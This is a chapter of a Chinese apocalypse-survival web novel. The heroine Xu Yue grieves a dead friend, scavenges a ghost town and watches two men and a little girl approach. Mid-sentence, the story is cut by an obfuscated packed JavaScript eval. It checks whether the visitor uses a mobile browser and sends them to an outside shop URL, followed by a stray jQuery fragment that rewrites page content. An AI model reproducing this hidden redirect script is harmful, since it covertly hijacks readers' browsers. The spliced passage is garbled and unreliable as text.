13. 末日第二天
作品:《末世天灾,房车囤货生存》 末日第二天。
游戏时间2038年8月16日上午7:43分。
徐月是被系统提示音吵醒的。
她睁开眼睛恍惚地看向天花板,一夜的休息使耐力值已经回满,所有负面状态本该全部清除,可难以言喻的无力使她无从遁形。
徐月将手里的遗物别在胸前,那是只带着牛仔帽与她有几分相似的手作玩偶。
楚惜然的遗物很少很少,少到仅有一个用了许久的托特包、一只玩偶、一张机票、一瓶昂贵的香水与一封鼓起的红包。
红包里是一万美元与一枚卡地亚手镯。
卡地亚手镯上篆刻着“Cynthia”,机票是从墨尔本前往洛杉矶的。
托特包的夹缝里,还找到了几张皱巴巴、墨水被晕开的肿瘤诊断书,以及楚惜然本人的护照。
楚惜然真是个大骗子。
诊断书上明明写得是2028年5月20日,因为那天是她徐月的生日,所以就选择了隐瞒吗?
遗书明明写得是圣诞节假期来看她,为什么机票是8月15日?是因为想给她一个惊喜吗?
为什么、为什么已经渐行渐远的人,还记得多年前寥寥无几的帮助?
徐月想到这里,没由来地感到一阵愤怒与不甘,从床上猛地起身,飞快地收拾着自己搜罗来的东西。
昨晚八点她与【Ian】的交易很愉快,不过对方没回复消息,连柴油桶上都染着丧尸的□□,看起来对方的情况很不乐观。
除此之外,在这栋民宅里找到了四条厚实的羊毛毯、五套还能穿的衣服、两套床品以及五只蜡烛。
这是末日的第二天,为了活着,她必须继续前进。
徐月昨晚没能去搜寻格曼镇的黄点,只希望一晚上动物不会跑太远。
托特包里的香水与镯子磕碰着,发出“叮当”的声响,与其他被堆放在后方床上的物资不一样,托特包被孤零零地搁置在副驾驶上,旁边就是末日最为珍贵的两把步枪。
徐月经过餐桌时,未曾合上的圣经被吹得沙沙作响,望着窗外刺眼的日光,她暂缓了步伐,停驻在儿童餐椅旁。
原本用来覆盖尸骨的围裙被吹落了,她下意识弯腰想要拾起。
偏偏在这一瞬间,愤怒轰然消散,后知后觉的苦痛瞬间袭来,直至四肢百骸。
她捡起来到底有什么用?
这些年来,从重案组到BI特工,她到底做出了多少贡献?帮助了多少应该帮助的人?
还是从始至终,这只是为了活下去,迫不得已而选择的道路?
多年来的专业素养在这一刻发出了警报。
徐月明白这是因为遭受了巨大打击后的创伤表现,人性本就是矛盾的。
她有对得起身上制服的瞬间;也有被现实压力折磨的喘不过气,试图逃离的瞬间。
“楚惜然啊……谢谢你。只是给你做了一学期的饭,还都是打折的食材,怎么用得着这样还呢?”徐月呢喃出这句话后,走出了屋子,在廊下捡起了昨天吃过螺蛳粉的碗放回了车里。
活下去,活着。
这是楚惜然最后的祝福。
徐月摸了摸枪袋里的马格南,将莲莲送的平安符挂在脖子上,顺手丢进衣服里,随后锁车走出了院子。
现在更重要的是搞清楚格曼镇那只动物能否食用,必须得先出门。
因为游戏设定晚上为跑尸,昨晚在日落后死亡的玩家人数激增。
扫把星似乎想开了,因为幸运值太低,生存极其困难,在昨晚就开始整理所有公共信息。
比如死亡人数的实时统计、危险玩家的编号统计、目前叠加天灾的地区,进行了大汇总放在商城上售卖。一周只需要一个基础生存物资,就能获得每天的实时更新,实在是物美价廉。
徐月也买了。
从游戏开始到今天早上六点,公共能查到的死亡人数有293人;因为玩家基数太小,危险玩家目前只有W2、H1996与她自己H2001三人;叠加高温天灾是新几内亚、极寒天灾是俄国北部、酸雨天灾是Y国、沙暴天灾是西非、异生物入侵暂且未知。
关于天灾必然是买了相关信息才能知道,不过扫把星很聪明,没有透露详细情况,不至于在交易这件事上给自己树敌。
因为楚惜然的事情,徐月昨晚没能理清相关信息。
能肯定的是,幸运值会影响玩家方方面面——初始载具、搜刮概率、幸存者箱子数量、初始穿越点。
楚惜然的0点幸运值,使其开局就穿越到了被尸群淹没的大楼,对一个手无寸铁的普通人而言,被感染而非啃噬而死,已经是仁慈的结局了。
徐月望着暂时只有4点的幸运值感到一阵头疼,她有预感接下来的日子都不会太平。
【莲莲:月月醒了吗?昨晚有遇到跑尸吗?农场附近的丧尸越来越近了,我得收拾下东西离开这里,如果你有急事的话打语音电话哦。】
游戏就这一个好处,无论如何只要是虚拟屏里发出的声音,丧尸就是听不到。
徐月很快回复了消息。
【徐月:醒了,我这里没有丧尸,你小心一些,你有武器吗?】
【莲莲:有把消防斧和多功能铲,从幸存者箱子里面开到的。因为我在农场,农用工具也很多,还改造了一个长柄武器。】
?在箱子里开到了斧头和铲子!
徐月一时间不知该怎样形容自己的心情。
她原本因为楚惜然的事,有些担心身为普通人莲莲的安危。
现在看是她多虑了……
幸运值造成的影响,只会让玩家间的差距越来越大。
徐月没回复消息,亚桑塔州的热浪在太阳升起后逐渐袭来,她必须尽快抵达藏有动物的房屋,否则很容易被晒伤。
可惜的是,技能冷却时间太长,现在只能凭记忆找到那里,无法快速锁定生物的位置。
在抵达地图上的点位时,她才发现这栋房子简直就是废墟。丧尸的尸体随处可见,黑褐色的血迹沾染在游泳池的边界上,显然丧尸爆发时这里有过一场苦战。
应该是幸存者发出了较大的动静,尸体至少有十几具,这几乎是一个鬼镇里所有的居民了。
不出所料,徐月看见了昨晚居住房屋一家三口的尸体。
从弹孔能分辨出,丧尸均被5.56毫米子弹扫射而亡,无论是头颅还是身体,弹孔的数量都太多。
轻机枪?
徐月有些迟疑,在这种地方能活着什么动物?
徐月决定小心为上,用经典的韦弗式向前推进,枪口随着目光的扫视同步移动,这样能够更快地做出反应。
随着皮靴声的回荡,窸窸窣窣的动静从里侧传来。
徐月反应迅速,瞬间锁定声音来源,那只黄点原来是只角蜥蜴。因为受到惊吓,从眼部猛然喷出一股鲜红的血液,精准地溅在她的皮靴上。
……这东西虽然在末日没法律保护,却不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203554|197307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
值得食用。
徐月盯着皮靴上鲜红的血迹,沉默了两秒,没有开枪。
费尽心思找到的黄点只是这样,与幸运值脱不开干系。
她应该放弃搜寻任何食物,学习一下扫把星的自知之明。
徐月叹出口气,决定回到房车位置。
途中刚想打开虚拟屏看看聊天频道的消息,不远处却传来了交谈的声音。
徐月动作一顿。
格曼镇不可能有其他人。
如果有人,必定在凌晨两点后抵达,因为那时她才刚入睡。
她的穿越点在距离格曼镇114公里外的36号公路上,往西的镇子在系统初始地图上看不见,因此绝对超过200公里。
也就是说,人从东边来的概率更大。
东边只有一人会来这里,那就是瓦派镇的伍德。
徐月的额头渗出细密的汗水,她俯身走回了院子里隐蔽。
交谈声由远及近,是两个成年男性在谈笑,距离她不足500米。
还好她没因为角蜥蜴的动静开枪。
徐月趴在缝隙处窥视着前方。
“大卫,我看那臭娘们早跑了,跟老大说找不到人,我们就可以撤了。”身穿蓝色工装的男人吊儿郎当地走着,露出的肌肤上布满了红色疹子,但他似乎不痒,没有抓挠的意图。
按照谈话内容可以判断,此人应该是伍德。
身高约180CM,体重大概在60KG。很瘦、常年吸烟,皮肤红疹为梅丨毒?
旁边的大卫是体面人,昂贵的衬衫西裤,良好的教养,出于嫌弃与伍德甚至保持了距离。
身高约185CM,体重大概在80KG。标准身材、常年健身,无不良嗜好。
大卫沉默了一瞬,顿住脚步,“老大说,维克托的技能是用幸运值兑换武器,你觉得他兑换了几把枪才将自己害死了?”
“什么意思?”伍德疑惑地回头,“你是说那该死的幸运值除了开箱子还有别的用处?”
“维克托能兑换枪支,一定会赠送给老大。可到现在我们连把枪都没有,怎么追击敌人?”大卫笑了,抬步向前。
伍德笑了笑吐了口口水,“那就只能怪维克托了,好东西不知道与弟兄们分享。待会儿等我用技能把维克托那辆车的组件拆下来再走,这可是好东西,那娘们只知道拆轮胎……”
技能?组件?
伍德的技能可以拆分其他玩家的车辆?
徐月有些庆幸自己没将车放在格曼镇入口。
同时,她对伍德的技能十分感兴趣。
正当她有些犹豫时,一阵轻快的脚步从两人后方传来。
紧接着,令徐月未曾想到的第三人出现了。
“爸爸,我想上厕所。”一个约五六岁的小女孩突然从后方跑来,她梳着双马尾,懵懂的眼神里只有好奇。
前方的两人不得不停下脚步。
大卫转身蹲下,露出温和的笑,“噢,贝丝,很着急吗?”
“嗯!”贝丝点点头,双腿有些扭捏,随后笑着跑开,“我等不及了爸爸!”
藏在矮墙后方的徐月瞳孔一缩,小女孩跑来的地方,分明就是这个院子!
不出所料,贝丝骤然停在了院子门前,宛如地狱般的景象使她瞳孔骤然收缩,她张了张嘴却发不出任何声音,只有“哗啦啦”的水渍声从裙摆下蔓延开来。
随后,一声撕破寂静的尖叫猛地炸开:“爸爸!!!”

